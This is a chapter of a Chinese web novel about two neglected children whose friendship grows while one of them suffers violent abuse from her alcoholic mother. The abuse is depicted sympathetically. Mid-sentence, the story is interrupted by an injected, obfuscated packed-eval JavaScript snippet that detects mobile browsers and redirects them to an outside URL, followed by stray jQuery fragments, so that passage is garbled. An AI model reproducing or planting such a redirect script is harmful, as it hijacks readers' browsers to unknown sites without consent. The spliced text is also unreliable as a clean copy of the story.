落日正缓缓沉下,给云层镶上一圈温柔的赤红,整片天空,仿佛都在静静燃烧。 迟昼顺着她指的方向望去:“这就是课本里说的火烧云了......你喜欢这个?” 楚遇依旧望着天际,却轻轻摇头:“再好看,也总是要黑的。”她收回目光,侧头看他,语气里带上了若有似无的笑意:“你叫‘迟昼’,应该更懂这个道理啊。” 迟昼不好意思地挠挠头:“嗯......我叫迟‘昼’,也不叫迟‘暮’呀。” 楚遇点点头,笑意深了些:“也是。那你应该更喜欢黑夜才对——毕竟就算迟一点,天也总会亮的嘛。” 她忽然加快脚步向前走去,侧过头,声音乘着晚风飘来:“我是四班的。明天见,迟昼。” 听见那两个字被这样清晰地念出,迟昼一直紧随的脚步忽然定住了。 除了老师的课堂提问和父母的偶尔呼唤,他已太久太久没有听过别人这样认真地叫他名字。久到......有时候甚至觉得,或许从未有人真正看见过他。 此刻,他站在原地,望着已经没有了楚遇的空荡小路,忍不住红了眼眶。 ———————————— 那之后,迟昼的人生仿佛被悄悄拨转了方向。那双胞胎不知用了什么方法善后,教务处最终也没追究,但那天楚遇徒手掰玻璃的疯狂举动,却被他们添油加醋地传遍了年级,说她是个缺心眼的疯子,和迟昼这个软蛋倒是绝配。 哥俩在年级里是最玩得开的那一波,经他们嘴一说,原本不起眼的楚遇立刻成了众人忌惮的对象。虽然这份忌惮里总掺杂着几分嘲讽,却再没人敢当面招惹她,也就在背后指指点点。而迟昼,自然被划到了她的阵营,闲言碎语和小动作虽然依旧不断,但再没人敢明目张胆地对他动手动脚。 迟昼毫不在意,甚至对这样的现状心满意足。经历了前三年的种种,他早就不指望能和周围这些人友好相处。如今能相安无事,已是最好。 更何况,他现在有朋友了。 课间、午休、放学,只要一得空,迟昼就会去找楚遇。他嘴笨,通常说不上几句话,只要楚遇不主动开口,两人就只是并肩坐着写作业,或一起望着窗外发呆。 有时放学去找她,正赶上她做值日。迟昼觉得干站着显得突兀,便会自然地上手帮忙。起初四班的学生还客套几句,后来见他来了,便干脆把扫把一放,嬉笑着散去,将打扫任务全部留给他们。楚遇总是冷眼旁观,从不说什么,迟昼更是无所谓,甚至隐隐感到欣喜——同样是扫地,如今的他却一扫往日的颓丧,做得格外积极。 时间久了,同学们大多在背后笑话,说“笤帚”这外号真是取得妙极,成天就知道拿着扫把给人扫地。 这些流言,二人都知道,却都不在乎,甚至从未就此交流过只言片语。 迟昼自上学起成绩就好,一来是除了读书不知还能做什么,二来脑子也确实灵光。楚遇的成绩虽不算差,但也只是勉强,他常见她对着作业本发呆,起初还局促地忍着不问,怕显得自己卖弄。可渐渐地,还是忍不住凑过去讲解,话也就越说越多。 其实人和人之间,话说得多了,自然就会渐渐熟悉。道理很简单,可那时的迟昼,只能将这条法则用在楚遇一个人身上。他并不觉得这是世间通行的规律,只认为楚遇是最特别的。 因为这是他唯一的朋友。 事实上,迟昼家离学校不过十来分钟路程,可他每天都愿意陪楚遇走上半个多小时,先送她到家,再独自折返。那时他还不懂“陪伴”这个词的含义,只是单纯想和她再多待片刻。 这对瘦小的他来说其实并不轻松,日复一日,小腿时常酸胀。可他从不抱怨,毕竟,这是他一天中最期待的时光。 偶尔体育课后实在疲惫,他又不好意思说,便会停在路边买炸串或零食。但楚遇似乎没什么零用钱,总是站在一旁静静看着他吃,即便迟昼递过去,她也从不接受。 她骨子里有种倔强,却从不解释,因此迟昼也并不完全明白,但他能懂——因为他自己,在某些时刻也同样地不肯妥协,即便并不知道这样究竟是否正确。 起初楚遇还会推拒他的陪伴,渐渐地,也默许了这种模式,仿佛成了两人之间心照不宣的约定。最开始的时候,迟昼曾鼓起勇气想跟她到家门口,幻想着能像别的同学那样,被邀请进屋喝口水。那时楚遇犹豫了很久,最终没有拒绝。 可当他满怀期待地跟着她踏进门时,一个打扮精致却面色憔悴的女人忽然冲了出来,不分青红皂白地将他轰出门外。 “现在就学会往家带人了?怎么,想离开你妈?翅膀硬了是吧?你个养不熟的白眼狼!” 迟昼尴尬地站在门外,听着屋里传来尖锐的咒骂。他听不懂那些话的具体含义,也听不见楚遇的任何回应。他急着想敲门解释,告诉那个阿姨是他自己要跟来的,不关楚遇的事。 手抬起的那一刻,他却忽然停住了——他想,楚遇一定不愿让他看见此刻的场面。 于是他默默放下手,像个被罚站的孩子,怔怔地杵在原地。门内的斥责声不绝于耳,很多话他虽然听不懂,但那里裹挟着的冰冷恶意,足以让他不寒而栗。 最终他没敢再听下去,逃也似的离开了。那杯想象中的水,终究也没喝到。 他默默退到巷口,第一次发现夕阳原来可以这样刺眼。 自那以后,楚遇总会停在离家门还有十几步远的梧桐树下,侧身朝他摆手。迟昼便明白,今天的路只能走到这里了。 但每次告别后他都会回头,看着楚遇独自走向那个并不温暖的家门,像在完成一场无声的仪式。 直到她消失在门后,迟昼才会转身踏上归途。每当这时,心里便会升起一种奇异的圆满感,即便接下来要独自走完来时的路,脚步也会变得轻快起来。 朝夕相处中,他渐渐拼凑出楚遇生活的轮廓——她的父母终日争吵,家庭濒临破碎。事实上,他们早已分居,住的虽然不远,却仿佛咫尺天涯。 迟昼嘴笨,不知该如何安慰。更何况,他自己的父母在他不记事时就已分开,他甚至从未见过自己的亲生母亲。 可正因他那时太小,反而没什么实感——没有记忆,便也不会心伤。 但楚遇不一样。她什么都记得,什么都知道,什么都明白。 最终他什么也没说,只是第二天悄悄在楚遇的铅笔盒里塞了颗水果糖,然后继续日复一日地去找她,一起吃饭、休息、值日、写作业,再陪她走过那段长长的,回家的路。对两个孩子来说,每一天,都像是前一日的延续。 在无人看见的角落,日子就这样一天天过去,像溪水缓缓流过石阶。 ———————————— 直到六年级冬天的一个晚上,他们走到楚遇家附近时,天已完全黑了。没有路灯,只有周围窗户里透出的零星灯光,在冻硬的土路上投下斑驳光影。 就在他们即将走到每日告别的那棵梧桐树下时,楚遇家那扇熟悉的门突然开了。一个中年男人提着一只空荡荡的编织袋,面色不虞地从院子里走了出来,像是要出远门,又像是要永远离开。 楚遇猛地停住脚步。 男人转过身,也看见了她。 迟昼一时没能理解眼前的状况,只是下意识地跟着停下。楚遇不动,他也不动。 那个男人紧了紧肩上的背带,慢慢走到楚遇面前。一大一小两个身影在夜色里伫立着,像两尊沉默的雕像。男人的嘴唇嚅动了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17352901|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次,却始终什么也没说出来。 最后他抬起手,在楚遇单薄的肩膀上用力按了一下,长长叹了口气,随即从她身边走过,再没回头。 楚遇始终没有扭头去看那个渐渐远去的背影。她只是绷着脊背,直挺挺地站在原地,脸上没有任何表情,仿佛面前这一切,都与她无关。 “我走了,你也回去吧。”过了许久她才侧了侧头,对迟昼说完后,便径直走向了家门。 迟昼心里莫名发慌,迟疑地站在原地,并未离开。他看见楚遇拿出钥匙开了门,然而在那一瞬,一把折叠凳突然从屋里飞了出来,险些砸到她的脸。 “砰——” 楚遇摔倒在地,凳子还压在腿上,门就在面前被狠狠关上。 迟昼只觉得一股热血冲上头顶,他以从未有过的速度冲过去,蹲在她身边,声音发颤:“你没事吧?” 借着微光,他看见楚遇锁骨上被划出了一道长长的血痕。可她除了眼圈微微发红,脸上却依然看不出任何情绪。 “没事。” 楚遇站起来,先拍掉书包和衣服上的尘土,然后弯腰捡起凳子,在墙边撑开后安静地坐了上去,整套动作相当流畅。 坐稳后,她仿佛才注意到迟昼担忧的目光,抬头笑了笑:“我真没事!你快回家吧,都这么晚了。” 寒冬的夜空繁星密布,清冷的光晕勾勒着她的侧脸,衬得那笑容纤细柔软,却好像一闪而逝,像书上说的那种夜里悄然绽放的白花——很多年后,当迟昼在电视上看到夜昙盛放的画面,恍惚间总能想起这个夜晚。 昙花,就是这个名字。美好得让人心碎,却注定只有刹那,无法永恒。 迟昼成绩好,当然也不笨,他看得出这平静下的异常:“那你......怎么办?” 楚遇显得比他还轻松:“我坐一会儿,等下就能进去了。” 迟昼不信,但怕触及她的痛处,也不忍心点破。他挠了挠头,犹豫半晌,才问:“要不,你去我家待会儿?就是还要走个往返。” 楚遇没有立刻回答。沉默在寒冷的空气里蔓延,良久,她才轻声问:“你家没有大人在吗?” “他们回来很晚。”迟昼几乎是不假思索地回答,“而且就算在也没关系的,他们不会管。” 楚遇又低下头沉默了,迟昼能看见她攥着书包带子的指节微微发白。 终于,她站起身,肩上的书包随着动作轻轻一晃。此刻的她反而褪去了所有的笑容,像是终于卸下了沉重的伪装一样,只简单应了一个字:“好。” 回到迟昼家时,两个孩子都已饿得前胸贴后背。迟安和蔡雨都在镇上的厂里上班,回家时间不固定,因此冰箱里总会备着些剩菜剩饭,冷冻层里还有码得整整齐齐的饺子、包子。 屋里果然空无一人。迟昼进屋后便打开炉灶准备煮饺子,回头就看见楚遇正倚在门框边望着他。他其实从没下过厨,那些饺子是蔡雨备着应急的,因此此刻手忙脚乱,很有些慌张,但在楚遇的注视下却莫名生出了一丝笨拙的骄傲。 水沸了,饺子在锅里翻滚。他拿不准火候,第一次捞出来时面皮还泛着生粉的白,咬开也是夹生的。倒回去再煮,这次却又煮过了头,饺子皮破开,馅料都散在了汤里。最后两人只好把整口锅都抬上桌,拿着漏勺在浑浊的面汤里打捞,就着汤水囫囵吃下。 最初的尴尬过去,两人哈哈大笑,在氤氲的热气里把这一锅失败的作品吃得精光。热食下肚,驱散了冬夜的寒意,方才的阴霾仿佛也随着蒸汽一同飘远了。 他翻出创可贴,小心地贴在楚遇锁骨的伤口上。楚遇始终沉默,他便也默契地不问。 二人之间向来如此,从来不需太多言语。 两人写了会儿作业,迟昼的父母才回来。楚遇立即站起身,手指无意识地攥紧了作业本边缘,一副随时离开的架势。但迟安没说什么,只是点点头就进了里屋,蔡雨倒是颇为热情地问她是哪家的孩子,还拿来了汽水往她手里塞。楚遇紧绷的肩膀渐渐松弛,脸上也露出了孩子气的腼腆笑意。 从那以后,楚遇成了迟昼家的常客,放学后和假期里常常过来。两个孩子一起写作业,一起玩闹,一起分食冰箱里的饺子包子。 迟昼从未觉得如此快乐过。在楚遇的陪伴下,枯燥的习题仿佛都变得有趣起来。而不知不觉间,楚遇成绩单上的数字也悄悄往上爬升了许多。 直到某天,迟昼瞥见她作业本上的名字变成了“邹遇”。他愣了一下,随即很快明白过来,慌忙移开视线。楚遇却已经察觉,边摊开作业本边笑了笑:“你还叫我楚遇就好。一个名字而已,没什么的,我还是我。” 迟昼沉默了很久,直到鼻尖微微发酸,眼眶也开始泛红。他吸了吸鼻子,郑重地望进她眼里,承诺般开口:“不管你以后叫什么,在我这里,你......永远都是你。” 楚遇握笔的手停了下来。她没有抬头,许久之后才略带鼻音地轻轻问:“阿昼,你会......一直记得我吗?” 听着她罕见的脆弱声线,迟昼仿佛感到了某种召唤,血液都在发烫。他急切地、几乎是发誓般地回答:“会的。”停顿片刻,似乎觉得这样不够真诚,便又认真地补充:“不管你以后变成什么样子,我都会认得你的,楚遇。” 楚遇静静地坐在那里,没有回应。半晌后,摊开的作业本上忽然晕开一片。 那是迟昼第一次见到楚遇的泪。 ———————————— 那时他们即将小学毕业。而毕业,就像一道分水岭,将原本熟悉的同窗冲散到了不同的河流。新环境里,“邹遇”便成了她理所当然的名字。 “楚遇”这两个字,仿佛成了独属于迟昼的秘密,像一枚含在口中的糖,让他心底都泛起隐秘的甜。 他知晓的,远不止这个名字,还有很多很多:比如她身上不时出现的青紫伤痕是从何而来;比如她为什么总是第一个到校,有时甚至在天光未亮时就等在了门口;比如之前有一次在食堂吃饭,她为什么会毫无节制,最终因为硬塞下去的一碗银耳汤而积食呕吐;再比如她那副天不怕地不怕的冷淡模样,背后藏着的,其实是无路可退的倔强。 他一直静静地看着,从不多问,只是沉默又坚定地陪在她身边。 而“陪伴”这种东西,是相互的——是迟昼在陪伴楚遇,也是楚遇在陪伴迟昼。对二人而言,除了最初那个疯狂的染血黄昏,往后很长的一段岁月里,其实并无太多惊心动魄。 他们就这样安静地、相互地,见证了彼此最为狼狈的孤独时光。 或许是长久陪伴的沉淀,或许是体内荷尔蒙的悄然作祟,他们的关系在不知不觉中急剧升温,开始变得亲密无间。 迟昼依然尽心为楚遇辅导功课——这早已潜移默化地取代了对父亲目光的渴望,成为了他努力学习的全部动力。 初中后,各科的选择题都多了起来,这却偏偏是楚遇的软肋。做压轴题时,她虽能排除两个错误选项,却总在剩下的两项间反复纠结,最终大概率会选中那个设计精巧的陷阱。迟昼为此很是头疼——数理尚可计算,语文英语却多凭语感,确实难以言传。 “做选择题,最重要的就是坚定。”迟昼想了很久才找到这个答案,激动地和她分享:“最忌摇摆不定。就算拿不准,蒙了一个也要坚持到底,不要来回来去地改。” 他看着楚遇疑惑的眼睛,努力组织着语言,手不自觉地比划:“人脑就是这样奇怪——越是拿不准的知识点,越想拼命回忆,可越是拼命回想,反而越是模糊......尤其是带着主观去思考的时候。”他说不太清,急得手舞足蹈:“如果你觉得某个答案像是对的,又长时间纠结,那么就算后来发现了它不对的痕迹,也还是会愣愣地选它......你不觉得嘛?” 楚遇趴在桌上,枕着手臂看他着急的样子,唇角弯弯:“哦......可要是坚定地蒙错了呢?” 迟昼语塞,懊恼地抓抓头发:“啊......这么一说我也讨厌选择题了。为什么非要弄这么多选择题啊?简答题自由发挥不行嘛!” 楚遇笑着直起身,伸了个懒腰,重新摊开作业本,眼底泛着温柔的光:“选择题好歹还能给你既定的备选......要是自由发挥,可连蒙的机会都没啦。” “嗯......也是。”他苦恼地应着,目光瞟过她含笑的眼角,心跳忽然漏了一拍,赶紧也打开作业本写了起来。 那一刻,某些比习题答案更为重要、也更为飘忽的东西,开始在二人心中悄然生长。 ———————————— 初中的第一个假期,他们开始学骑自行车。那时的迟昼依旧瘦小,却长了些肉,像在为未来的生长积蓄力量;楚遇却已悄然抽条,身形舒展,开始有了少女模样。两人站在一起,他倒像是弟弟——但其实他因晚上学,实际比她还大了一年多。 蔡雨的自行车对迟昼来说有些过高,他每次跨上去都略显勉强,却死活不肯认输。有次练习骑得远了,道路忽然变成下坡,他慌忙用脚尖去够地,却因腿短未能踩实,一下子连人带车翻倒在地,顺着坡道滚了好几圈才停。 要不是楚遇立刻追了上来,迟昼恐怕真要哭出来——主要是吓坏了,也摔得生疼。可当她带着关切的目光蹲在他面前时,他立刻把眼泪憋了回去,甩甩流血的手臂,强撑着故作轻松:“没事啦,练车哪有不摔的,一点儿也不疼好吧。” 楚遇抱着膝盖,原本清冷的丹凤眼此刻弯成了月牙:“我就没摔过呀。” 明知她是故意逗他,迟昼还是气鼓鼓地扶起车,非要再试一次。 楚遇伸手按住车把,笑意更深,语气像在哄小孩:“好啦,逗你的。咱们回去吧,我给你上药,好不好?” 迟昼本想拒绝,可一抬头撞进她带笑的眼,心脏忽然失控地狂跳起来,整个人都呆住了。 楚遇当他默许,自然地接过车把,挑眉看他,颇有几分英气:“我载你,敢不敢坐?” 迟昼还在发愣,下意识点头,随即反应过来,耳根微微发热——被女生载,怎么说都有点难为情。 他尚在犹豫,楚遇却已利落地上车开始冲坡,仿佛根本没打算等他。他“诶诶”两声,急忙追上去,轻轻一跃,坐上了后座。 车把剧烈地晃动了几下,楚遇夸张地惊叫起来,迟昼以为又要摔了,也跟着“哎哎”大喊。可过了一会儿,车子却始终平稳前行,他才后知后觉——楚遇早已学会骑车,这些日子不过是在陪他练习。 他也后知后觉地发现,楚遇不是在尖叫,而是在笑。 她几乎从不惊慌尖叫,却总在笑。微笑、浅笑、柔和的笑、明媚的笑......强撑的笑。 那时的他们,真的快乐过。 每一天,都让迟昼从心底里泛起真实的欢喜。这欢喜是如此丰盈,盖过了家中多出的那个弟弟,也冲淡了想要父亲眼里有他的念想。 因为他的整个世界,已被另一个身影占据、盈满。 楚遇的存在,让过往那些沉甸甸的疼痛都随风而散,成了她出现的注脚。迟昼有时候会想,是不是正因经历过那些无人问津的苦涩、孤独与茫然,上天才将楚遇带到了他的身边? 楚遇。楚遇。 在几乎将他淹没的幸福与欢喜中,一个念头悄然浮现—— 那真是个......绮梦般的少女。 20. 贰拾 倘若迟昼从未真正窥见过楚遇生活里的暗影,倘若他未曾试图将她从深渊中拉出,或许那段快乐的时光能延续得更久一些。 可世事难料。谁又能断言,是否正是那些刻骨铭心的痛楚,才让欢愉显得愈发珍贵? 那时迟安新得了儿子,心情正好,对迟昼也格外宽厚,见他学会了骑车,便给他买了辆崭新的单车。车身的烤漆很酷,只是配上他尚未抽条的身形,显得有些滑稽。 他们的初中离得远了,但比起小学,倒是离楚遇家更近。因此上下学变成了顺路,迟昼便开始每天接送楚遇——早上路过时将她捎上,晚上在她家门口放下,再独自骑回家。 他从不问楚遇为什么不买辆车,因为他知道她没有钱。楚遇母亲有时连饭钱都不给,而那个离家不远、却再未露面的父亲虽会按期寄来生活费,却大多被她母亲换成了昂贵的羊绒衫、大衣、皮包,以及堆积如山的酒。 迟昼无法理解,一个母亲为何会如此对待自己的女儿。即便继母蔡雨与他之间总隔着什么,至少待他也是温和耐心的。 楚遇却仿佛早已习惯,甚至从不抱怨,只是将迟昼家当作避风港,待得越来越晚,常常到了十点多才起身回家。好在迟安和蔡雨的精力都放在新生的弟弟身上,也并不多加过问。 每晚,迟昼都会骑车将她送到家门口。看着门缝里透出的灯光,他起初还天真的以为楚遇的母亲也是担心女儿的,只是表达方式过于激烈。 直到那个夜晚。 那天他照旧目送楚遇进了家门,刚调转车头,却瞥见她的水瓶忘在了筐里。他抬头望向那扇门,几年前被轰出来的记忆瞬间涌上,心下不免紧张。 迟昼犹豫片刻,最终还是硬着头皮走上前。 他蹑手蹑脚地停在门口,屏息倾听——里面一片寂静。这寂静奇异地安抚了他,那个关于“一杯水”的未竟愿望,连同几分隐隐的期盼,再次浮上了心头。 他深吸一口气,伸手敲响了门。 门开了。站在门后的,是楚遇的母亲。 那是迟昼第一次真正看清楚遇母亲的模样——毕竟从没有人来为楚遇开过家长会。 门内的女人比他高出不少,身着一件质地精良的羊绒衫,妆容浓艳得即便对化妆品一无所知的迟昼也能看出端倪——眼线在眼角晕开,如同污浊的泪痕,口红也斑驳地溢出唇线。 灯影下,她脸上依稀可辨的轮廓仍残留着昔日的风韵,可此刻被浓妆与醉意扭曲,透出一种令人不安的、近乎疯癫的气息。她的头发盘得极高,发髻本身堪称精致,但鬓角却已经散乱,几缕发丝凌乱地黏在脸颊和脖颈上。 她右手拎着一个半空的玻璃酒瓶,脸上即使扑了厚厚的粉底,也依旧掩不住长期酗酒带来的青灰面色。而最令迟昼心惊的是她的眼神——宽厚的双眼皮让眼睛显得极为深邃,但此刻却因醉意涣散,像是两潭死水,却在看到迟昼的瞬间猛地聚焦,迸出执拗而狂怒的光,仿佛一只随时会扑上来的困兽。 迟昼僵在门口,所有关于那杯水的天真念头瞬间蒸发,只剩下本能的恐惧,紧张得忘了来意,连吞咽都变得困难。 邹婷倚着门框将他上下打量,半晌才懒洋洋地开口,嗓音低哑得意外好听,却与眼中的暴戾割裂得令人不适:“就是你,天天缠着我女儿啊?”她眯起眼,语气又陡然转冷:“怎么?想怂恿她离开我?带她远走高飞?” 迟昼被她话里的敌意钉在原地,嗫嚅着说不出话:“我......我没有......” 女人俯视着他局促的模样,嗤笑一声,忽然探身向前,用左手食指狠狠戳向他的额头:“就你?连个子都不长的小子,能有什么出息?” 迟昼吓得猛退一步。 对方却不依不饶地逼近:“小矬子,躲什么?只会躲的货色,注定没出息......她啊,跟我一个德行,看男人的眼光烂透了......” 迟昼的动作忽然僵住——并非因为那羞辱的话语,而是透过她身侧的缝隙,他看见楚遇竟直挺挺地跪在客厅中央。 那一刻,他明白了刚才门外的寂静从何而来。 原本低着头的楚遇被母亲刻薄的言语刺痛,爬起身冲过来拉住邹婷的胳膊:“妈!” 邹婷甩开楚遇的手,反手一记耳光狠狠掴在她脸上。清脆的响声回荡,将迟昼彻底震在了原地。 她的注意力完全被扑上来的女儿吸引,转身一把揪住楚遇的衣领,恶狠狠地逼问:“这就护上了?把我当什么?啊?”她的声音陡然拔高,带着被撕裂的痛楚:“我懂了!你跟你那死鬼爹一个德行,都不把我当人看!是不是?是不是?!” 楚遇被勒得呼吸困难,声音发紧:“不......是的......妈......” “不是?”邹婷像被彻底激怒的母狮,脸孔猛地凑近女儿,瞪大的眼睛里布满血丝:“让你老实跪着,谁准你起来的?!还敢说不是?!” 她的语气骤然阴森下来,字句之间浸透着遭到背叛的恨意:“为个毛都没长齐的东西,连你妈的话都敢不听!好,好得很!个个都觉得我好欺负,都觉得外面的畜生比自家人亲,是吧?!” 若说刚才的邹婷只是粗鲁,那现在的她更像是失去了理智,声音和行为都渐渐失控。因为左手正死死攥着女儿衣领,她便下意识扬起了另一只手。 始终僵立的迟昼忽然惊叫出声——女人抬起的右手里,赫然握着那只沉甸甸的酒瓶! 那猝然的惊叫,让邹婷混沌的神智短暂地清明了一瞬,动作随之一滞。就在这电光火石的间隙,一股不知从何而来的勇气猛地攫住了迟昼,他发狠地向前一推,令邹婷一个趔趄松开了手。 借着这个空档,他抓住楚遇冰凉的手腕,转身就向门外冲去。 两个孩子像受惊的兔子般跌跌撞撞冲到了自行车旁。迟昼浑身都在不受控制地发抖,腿软得几次都没能跨上车座。他正想回头对楚遇说些什么,身后却已传来邹婷歇斯底里的咆哮。 恐惧像冰水浇头,他一个激灵,猛地一挺身,几乎是摔上了车座。楚遇也面无血色地跃上后座,双手死死攥住他的衣角。 没有时间犹豫,迟昼用尽全身力气蹬动踏板,单车载着两人,像离弦的箭一样射入浓稠的夜色,开始了这场慌不择路的逃亡。 心脏在胸腔里疯狂擂动,与链条急促的嘎吱声混成一片。极度的紧张让他疯狂发力,然而没过多久,过度紧绷的小腿肌肉便猛地痉挛起来。车子瞬间失去平衡,猛烈摇晃起来。 他勉强单脚撑地,让车子歪歪扭扭地停下。楚遇立刻跳下车,两人没有一句多余的话,迅速交换了位置,由楚遇载着他,继续向未知的前方骑行。 他们不知道要去哪里,只是盲目地向前,最终在一条河边停下,将自行车随意扔进草丛,随后互相搀扶着爬上窄窄的堤坝,并排坐下。 世界终于彻底安静下来,只剩下彼此急促的呼吸和河水潺潺的流动。迟昼感觉自己的心脏因狂跳而闷痛,小腿的抽痛也阵阵传来,然而这一切都比不上此刻内心的惊悸与沉重。 他偷偷侧目看向楚遇,只见她正抱着膝盖,目光空洞地望向漆黑的河面。 他想问,张了张嘴,却想起他们之间那“无须言说”的默契。话语卡在喉咙里,不上不下,焦躁与无力让他倍感无措。 可迟昼觉得自己必须做点什么,什么都好,只要能驱散她周身那冰冷的绝望。 视线慌乱地扫视,最终落在脚边一株在夜风中微颤的野花上。它开得很小,却相当完整,在这片混乱的夜里,固执地绽放。他小心翼翼地侧过身,极其轻柔地将它掐下,然后缓慢地、笨拙地、近乎虔诚地,举到了楚遇面前。 楚遇缓缓侧过头,目光落在那朵小小的野花上,凝固了片刻,才伸手接过。她低头怔怔地盯着它,仿佛要从这脆弱的花朵里看出某种答案。 迟昼就那样看着她,眼睁睁地看着她的眼眶一点点开始泛红,眸中的水光越来越亮,最终彻底决堤,大颗大颗的泪珠滚落而下,砸在那朵花瓣上,砸在她的手背上。 在这个暂时逃离了所有伤害的河畔,楚遇终于在迟昼面前彻底卸下了所有防备。 那一夜,她哭了很久很久,仿佛要将积压在生命里所有的委屈与痛苦,都交付给这片无垠的夜色,以及身边同样沉默的那个少年。 ———————————— 从楚遇记事起,生活就是一团纠缠不清的乱麻,从未有过片刻安宁,且随着岁月流逝,这团乱麻只会越缠越紧,将她拖向更深的泥沼。 起初,楚怀平和邹婷只是三天两头地争吵。后来,摔砸东西成了家常便饭。再后来,楚怀平开始夜不归宿,常常一连几天不见人影。偶尔回来,也只是为了取些物件,对屋里的妻女视若无睹。 在他刚开始这般行径时,邹婷总会趁他回来时变本加厉地哭闹争吵。有几次邻居不堪其扰上门劝阻,却又都被邹婷指着鼻子骂走,而楚怀平始终铁青着脸,一言不发。 但这并不能挽留他离去的脚步。他回家的间隔越来越长,停留的时间也越来越短。再一次没能拦住夺门而出的楚怀平后,邹婷发了狠,愣是不吃不喝地枯坐在客厅生等,像一尊逐渐失去生气的雕塑。 小小的楚遇怎么哀求都无济于事,她力气太小,拉不动母亲,也不敢独自出门寻找父亲,就只能陪着妈妈在这令人窒息的屋子里耗着。所幸邹婷尚存一丝理智,还记得给女儿弄点吃食,自己却只靠酒精维持,粒米不进。 这场僵持持续了整整两天。终于,在令人崩溃的压抑中,小楚遇彻底垮了,又一次试图拉起母亲失败后,她猛地跪在地上朝着邹婷一下下磕头,嚎啕大哭着哀求。 那时的她说不出什么道理,只能反复哭喊着“妈妈”和“求你”,可这最为原始的哭求,竟奇迹般地唤醒了邹婷心底残存的母性。她也跟着痛哭失声,瘫坐在地将女儿紧紧搂在怀里,一边语无伦次地安抚认错,一边歇斯底里地咒骂那个离去的男人。 熬过那次之后,楚遇曾天真地以为母亲会想开,生活会好转。然而楚怀平并未因此回头,反而对邹婷的疯狂行径更加厌恶,连带着对女儿也更加疏离。他仅存的怜悯,也不过是多买些零食放在家里,确保孩子不会真的饿死。 楚遇曾多次鼓起勇气询问父亲为什么要这样。但不知是她年纪太小词不达意,还是楚怀平根本不愿对一个孩子解释,反正最终总是不了了之,他只是摇着头接连叹气,仿佛沉浸在无尽的懊悔之中,却从不肯说一句有用的话。 小楚遇没了办法,只能被迫过早地学会照顾自己。她得先确保自己能活下去,再努力活得像个人样。 楚怀平不在家时,邹婷便报复般在家里摔摔打打,直到筋疲力尽才肯罢休。 楚遇拦不住母亲,只能在风暴来临时装作不存在,蜷缩回自己的小房间里,待母亲昏沉睡去才敢溜出来,对着满屋狼藉发愁,然后默默地开始收拾。 在最糟糕的那段日子里,若不是她强撑着打扫,这个家恐怕连猪圈都不如。 那时,小楚遇一边流着眼泪收拾碎玻璃,一边固执地想:她得把这里弄干净。万一爸爸回来了,看见这么乱,就更不会停留了。 可最终楚怀平还是走了,走得决绝,走得沉默,连一句像样的道别都没有。即便那天在门口与他迎面相遇,他也只是像往常一样重重叹气,然后沉默地与她擦肩而过。 六年级的楚遇已经能看懂许多事了。她知道父亲早已有了新的家庭,之前的激烈争吵皆是源自于此,而这次彻底的离去,则是为了他新出生的孩子。 她,大约只是一件被遗弃在过往的、无关痛痒的失败品。 楚怀平的离去抽走了邹婷世界里最后一根支柱。她的精神时时开始恍惚,并将楚遇视作替代品,时刻恐惧着女儿也会背叛、逃离,留下她一人独自沉沦。 那段时间,无论楚遇做什么都无法让母亲满意。邹婷认定了她在演戏,说她像她父亲一样虚伪成性、冷心冷肺。清醒时,母亲尚且只用刻薄的言语讽刺辱骂;可醉酒之后,便会彻底将楚遇当作父亲的替身,动辄揪着她肆意殴打,直到筋疲力尽。 父亲离开的那天,楚遇被盛怒的母亲赶出了家门。她去迟昼家里逃避了片刻,可等夜深了,终究还是得回去独自面对一切。她战战兢兢地推开门,本以为在劫难逃,但那晚邹婷的情绪竟平复得出乎意料地快。 她甚至关心起楚遇锁骨上的伤,抱着她又哭又笑地道歉,可片刻之后,又开始歇斯底里地咒骂楚怀平,语无伦次地质问他既然如此介意,当初又为何要应允。 楚遇僵硬地任由母亲搂着,听着那些混乱而刺耳的谩骂,脸上没有任何表情,既不挣脱,也不反驳。 待邹婷终于平静下来,便问她去了哪里,吃没吃饭,又问创可贴的来历。楚遇不敢撒谎,只能如实回答,只是言辞间竭力将迟昼描绘成一个偶然相识、关系尚可的同学,生怕触动母亲那根敏感的神经。 然而那天的邹婷仿佛在大悲大痛之后有了某种顿悟,并未如楚遇预想中那般暴怒。她只是疲惫地点点头,喃喃说着有个要好的同学也好,又嘱咐楚遇要好好读书,将来别像自己一样,被永远困在这个地方。 那一刻楚遇几乎喜极而泣,认为母亲终于清醒了,以为自己终于熬过了漫漫长夜,见到了曙光。 可这个脆弱的幻象,不到一个月就被彻底打碎。 那天楚遇照常在迟昼家写完作业,踏着夜色独自回家。可刚推开家门,一只拖鞋便迎面飞来,惊得她腿一软,跌坐在地。 浓烈的酒气扑面而来。邹婷双眼赤红地冲到她面前,厉声质问她又野到哪里去了,为什么这么晚才回来。 这久违的疯狂让楚遇心惊,却又带来一丝诡异的释然——这才是她熟悉的母亲。最初的恐慌退去后,她平静地一遍遍解释:“妈,我去同学家写作业了。之前说过的,你也同意了。” 但醉酒的邹婷仿佛失去了记忆,强硬地打断她:“编!接着编!什么作业要写到这么晚?以为你妈没读过书吗?满嘴谎话,跟你那死鬼爹一个德行......” 看着母亲扭曲的面容,楚遇心中涌起的悲哀竟暂时压过了恐惧,不自觉地轻轻叹了口气。 这声叹息成了点燃炸药的火星。邹婷暴怒地揪住她的衣领:“怎么?觉得你妈可笑?早就看不惯了是吧?还写作业,我看是找好了下家,准备学你那死人爹!你也想背叛我?!” 领口越勒越紧,楚遇几乎窒息。听着母亲不绝于耳的咒骂,她感到一阵深入骨髓的疲惫,破罐子破摔般低语:“你觉得是,那就是吧。” 邹婷的动作戛然而止。她不可置信地瞪大双眼,血丝迅速爬满眼白,看上去相当渗人。 楚遇被这反应惊得清醒过来,慌忙改口:“我不是这个意思!妈,你听我解释,真的只是写作业......” 可为时已晚。被彻底激怒的邹婷已经什么都听不进去了,她猛地抽出外套上的腰带,心中只剩最原始的发泄欲望。 